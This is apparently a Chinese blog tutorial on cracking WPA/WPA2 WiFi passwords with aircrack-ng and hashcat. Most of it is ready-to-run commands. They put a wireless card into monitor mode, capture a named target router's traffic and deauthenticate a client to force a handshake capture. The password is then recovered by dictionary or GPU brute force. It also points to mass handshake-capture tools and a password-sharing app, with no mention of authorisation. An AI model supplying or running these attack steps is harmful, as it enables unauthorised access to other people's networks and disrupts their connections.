====================
写在前面
这里假定你用的是Manjaro Linux 系统,配置好独立显卡,本文提到的软件可以直接用sudo pacman -S aircrack-ng hashcat hashcat-utils
安装,Kali Linux默认集成,其他环境请自行安装。
- aircrack-ng:
aircrack-ng是目前最热门的WiFi破解领域的软件。Aircrack-ng 套件包含的工具能够捕捉数据包和握手包,生成通信数据,或进行暴力破解攻击以及字典攻击。 - hashcat:
hashcat支持N多种算法,充分利用GPU性能,是目前最快的利用GPU破解Hash的软件。 - USB无线网卡:
推荐3070,8187,便宜好用(某宝十几块钱就能买到),当然笔记本自带的无线网卡也可以。
由于hashcat使用GPU破解,因此需要安装依赖,sudo pacman -S ocl-icd opencl-nvidia
,执行
sudo tee /proc/acpi/bbswitch <<< ON
以让CUDA程序使用英伟达独立显卡。
hashcat -I
看到你的独显信息就可以愉快的使用hashcat了。
Aircrack
- 查看无线网卡,我的网卡为wlan0
airmon-ng
- 将网卡设为监听模式
airmon-ng start wlan0
执行iwconfig
出现Mode:Monitor
即执行成功,并可以看到网卡被重命名为wlan0mon
。
若执行失败,请先尝试airmon-ng check kill
,依旧不行,请检查你的网卡驱动是否被支持
- 搜索目标
airodump-ng wlan0mon
1 | BSSID:无线路由的MAC地址 |
- 这里以ELJNB为例,进行抓包:
airodump-ng --bssid DC:FE:18:C4:20:E3 -o pcap -w my -c 1 wlan0mon
1 | --bssid: 指定无线路由的MAC地址,这里是ELJNB的MAC地址 |
注意STATION
那列里的MAC地址,稍后会用到,并保持airodump-ng一直处于运行状态。
- 加速获取握手包
我们可以使用泛洪攻击断开某设备的连接,迫使其重连,以顺利捕获我们需要的数据(含有WiFi的密码数据包)。新开一个终端,输入
aireplay-ng --deauth 1 –a DC:FE:18:C4:20:E3 -c E6:20:3A:A4:82:10 wlan0mon
1 | --deauth:取消验证洪水攻击,后面是攻击次数,0代表无限次数。 |
回到airodump-ng窗口,若在右上角发现WPA handshake
,即成功捕获数据。若不成功请多试几次。
顺利捕获数据后就可以用Ctrl+C
终止airodump-ng了。会发现它在当前路径生成了一个my-01.cap文件,现在可以进行最后一步,破解数据了。
- 暴力破解
- 在线破解:Online Hash Crack GPUHASH.me md5this
- 本地破解:
aircrack-ng -w dict.txt my-01.cap
这里破解速度就取决与你CPU性能和字典文件(dict.txt)够不够强大了。
如果需要,可以从网上找一些字典文件
aircrack-ng使用CPU破解,效率比较低,这里推荐hashcat,它可以使用GPU加速你的破解过程。
haschcat
hashcat需要特殊的hash数据包格式,因此需要先将airodump-ng抓取的数据包转换一下,在线转换或本地使hashcat-utils所提供的工具包
-
用cap2hccapx将cap转化为hccapx
-
开始暴力破解
hashcat -m 2500 test.hccapx dict.txt
1 | -m:hash类型 2500 为wpa/wpa2 |
破解结束后,查看结果
cat ~/.hashcat/hashcat.porifle
最后即为WiFi密码,关于hashcat高级使用方式,见wooyun
扩展
可以看到,整个过程无非两步,第一步抓取WPA handshake
数据包,第二步暴力破解数据文件。因此
可以使用更强大的工具wlandump-ng
:一次性从附近的网络上抓取所有的 handshake 信息,而实现快速破解WiFi,详情见wifi-cracking和hcxtools
最大的安全隐患永远是人,优先使用WiFi万能钥匙也许会有意外惊喜(配合手机自带的WiFi分享功能,可以直接得到密码)。